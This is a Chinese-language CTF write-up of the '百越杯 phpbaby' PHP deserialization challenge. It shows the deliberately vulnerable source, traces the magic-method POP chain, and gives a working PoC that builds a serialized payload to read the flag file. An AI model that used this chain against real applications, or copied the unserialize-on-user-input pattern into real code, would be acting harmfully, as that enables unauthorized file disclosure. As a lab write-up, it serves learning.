百越杯 phpbaby--反序列化

源码

<?php
error_reporting(1);
class Read {
    private $var;
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value)); #从value取内容
		return $text;
    }
    
    public function __invoke(){
        $content = $this->file_get($this->var); #目标: 改var="fllllllaaaaaag.php" #文件名怎么知道的有点迷
        echo $content;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file='index.php')
    {
        $this->source = $file;
        echo $this->source.'解析开始'."<br>";
    }
   
    public function __toString()
    {
        $this->str['str']->source;
    }

    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|fllllllaaaaaag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }

    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php"; 
        }
    }
}

class Test
{
    public $params;
    public function __construct()
    {
        $this->params = array();
    }

    public function __get($key)
    {
        $func = $this->params;
		var_dump($this->params);
		return $func();
    }  
}

if(isset($_GET['key'])) //参数chal
{

	$cha1 = unserialize($_GET['key']); #触发 __wakeup()
	#成功构造对象后自动调用__wakeup //将字符串转换为变量 利用条件: ①参数可控  
	
}
else
{
    $show = new Show('index.php');
    $show->_show();
}
?>

分析源码

1. 反序列化漏洞利用条件: ①unserialize()参数可控 ②存在可以利用的魔术方法。
2. 推测通过反序列化漏洞最终通过 Read 类读取flag信息。
3. 只要类中存在魔术方法就可以利用，至于实现了什么功能并不重要。

思路

1. 通过修改Read类中的$var并通过file_get方法读flag文件，而file_get通过__invoke()触发。
2. __invoke()触发条件: 尝试以函数形式调用对象。 借助: Test类的 \get()方法
3. __get()触发条件: 尝试访问对象中不存在的属性。 借助: Show类的 \toString()方法
4. __toString()触发条件: 尝试将对象当做字符串处理。 借助: Show类的 \wakeup()中的正则表达式。
5. __wakeup()触发条件: unserialize()解序列之后自动调用。

PoC

<?php
    class Read{
    	private $var;
    	public function __construct(){
            $this->var = "fllllllaaaaaag.php";
        }
	}
	class Test{
        public $params;
        public function __construct(){
            $this->params = new Read(); #进Read中找__invoke()
        }
    }
	class Show{
        public $source;
        public $str;
        public function __construct(){
            $this->str = array("str"=>new Test()) #进Test类中找__get()
        }
    }
	$a = new Show();
	$a->source = new Show(); #如果放在Show->__construct()中则会死循环创建导致内存溢出
	$payload = serialize($a);
	$payload = urlencode($payload);
	echo $payload;
	/*php类成员只能在方法里赋值。*/
	/*__construct()魔术方法: 新建对象时自动调用。*/
	/*PHP 5.2.17ns测试的时候有BUG，改为5.3.29ns版本即可*/
?>

总结

反序列化漏洞看似简单，其实一环扣一环挺有意思。主要还是魔术方法的触发条件要熟悉。

目前见到的魔术方法:

• __construct(): 对象创建时调用。注意 unserialize()解序列不会调用。
• __destruct(): 对象销毁时调用。销毁对象: unset()
• __wakeup(): unserialize()解序列后调用。
• __toString(): 当对象被当做字符串使用时调用。
• __sleep(): 当对象被serialize()序列化时调用。
• __invoke(): 当以函数形式使用对象时调用。
• __get(): 当访问对象中不存在的属性时调用。

PHP的魔术方法定义: 以两个下划线开头 __magicMethods() 。

源码中的 _show()并不是魔术方法，称为私有方法。